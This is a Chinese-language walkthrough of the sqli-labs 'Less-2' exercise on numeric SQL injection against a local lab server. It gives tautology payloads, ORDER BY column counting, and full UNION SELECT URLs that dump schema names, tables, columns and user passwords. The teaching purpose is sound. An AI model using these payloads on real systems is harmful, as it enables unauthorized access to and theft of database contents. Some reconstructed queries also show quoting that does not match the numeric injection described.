Less-2 ==>数字型注入
翻译:获取-基于错误-基于整数
欢迎Dhakkan
请输入ID作为带有数字值的参数
分别尝试将 ?id=1 ?id=1' ?id=1" 添加到url中,发现?id=1' ?id=1"报错,说明是数字型注入。
翻译:您的SQL语法有误。 检查与您的MySQL服务器版本相对应的手册以获取正确的语法,以在第1行的 '' LIMIT 0,1' 附近使用
从上面的测试中得出,以第一个报错为例现在执行的查询语句如下:
Select * from TABLE where id = 1' ;
所以这里的奇数个单引号破坏了查询,导致抛出错误。
因此我们得出的结果是,查询代码使用了整数。
Select * from TABLE where id = (some integer value);
现在测试:id=1 ... id=3...
这说明我们想法正确。
接下来测试是否具有注入点:
-1 or 1=1 -- #
发现仍可以显示正确的结果,可以得知这里存在一个注入点。
id=-1
很显然是不存在的,但or 1=1
是一个true条件(也可以用其他true条件替代),使查询语句类似于select * from xxx where true
即select * from xxx
,返回所有结果。
以该环境后台数据库users表为例:
一般尝试的语句:
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
当然不加注释符也可以,但是要注意分情况。比如说这里是数字型注入,那么像 ' or '1'='1' ' or 1=1 都可以,而如果像字符型注入中的单引号问题,要注意闭合,得这么写 ' or '1'='1 而像字符型注入中的双引号,得这么写 " or "1"="1 要特别注意闭合的问题,但一般常用上面带注释的语句。
对比源代码:
源代码中可以分析到 SQL 语句为:
$sql="SELECT * FROMusers WHERE id=$id LIMIT 0,1";
对 id 没有经过处理
所以我们接下来猜字段数:
此处可以利用 order by n。Order by n对前面的数据进行排序,n为整数,意为对第n个列进行排序
测试发现n最大为3,说明有3个列。
order by 4-- #的结果显示结果超出。
我们通过后台查看证明就是3个字段:
利用union联合注入,当 id 的数据在数据库中不存在时,(此时我们可以让 id=-1,两个 sql 语句进行联合操作时,当前一个语句选择的内容为空,会将我们后面定义的查询语句的结果返回出来)此页面返回了我们构造的 union 的数据。
上图显示了2和3,说明我们可以对第二个和第三个字段进行操作
接下来爆数据库:
先了解:
1.系统函数
介绍几个常用函数:
1. version()——MySQL 版本
2. user()——数据库的用户
3. database()——当前数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
2.数据库字符串连接函数:(会的跳过)
函数具体介绍 http://www.cnblogs.com/lcamry/p/5715634.html
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号(默认)分隔每一条数据
说着比较抽象,说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
这里简单演示下:
以Sqil-labs环境下的security数据库里的users表为例:
1.concat()
2.concat_ws()
3.group_concat() -------》这个函数与前两个函数的最大区别在于,它把所有的数据显示在一行,这个对于注入来说是特别重要的,在特定的情况下,我们注入时如果情况只容许我们返回一行结果信息,那么这个函数就显得尤为重要。举个例子:在第2个字段下,爆数据库security里的表,有4个表,用concat()和concat_ws()函数,只会显示该数据库表的第一行即第一个表,显示在第2个字段,而使用group_concat()函数,则会把这4个表作为一行信息,显示在第2字段的位置上。提醒:前两个函数一般使用concat(user(),database(),或者concat(条件 limit x,1)这样的形式较多,因为这种形式也是把数据作为一行信息输出的。由此可见,他们各有各的应用场景,要灵活应用。
爆数据库:
http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
此时的 sql 语句为
SELECT * FROM users WHERE id='-1' union select 1,group_concat(schema_name),3 from information_schema.schemata-- # LIMIT 0,1
爆 security 数据库的数据表:
http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- #
此时的 sql 语句为
SELECT * FROM users WHERE id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'-- # LIMIT 0,1
爆 users 表的列:
http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'-- #
此时的 sql 语句为
select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'-- #LIMIT 0,1
爆users表的数据:
http://192.168.33.1/sqli/Less-2/?id=-1 union select 1,group_concat(username),group_concat(password) from users-- #
此时的 sql 语句为
select 1,group_concat(username),group_concat(password) from users -- #LIMIT 0,1
注:对于Less-1的爆数据库,表名,字段,数据。只需把Less-2操作中的?id=-1改为?id=-1',就是加上一个' (单引号)而已,当然猜测字段也是要加上一个单引号,进行猜测。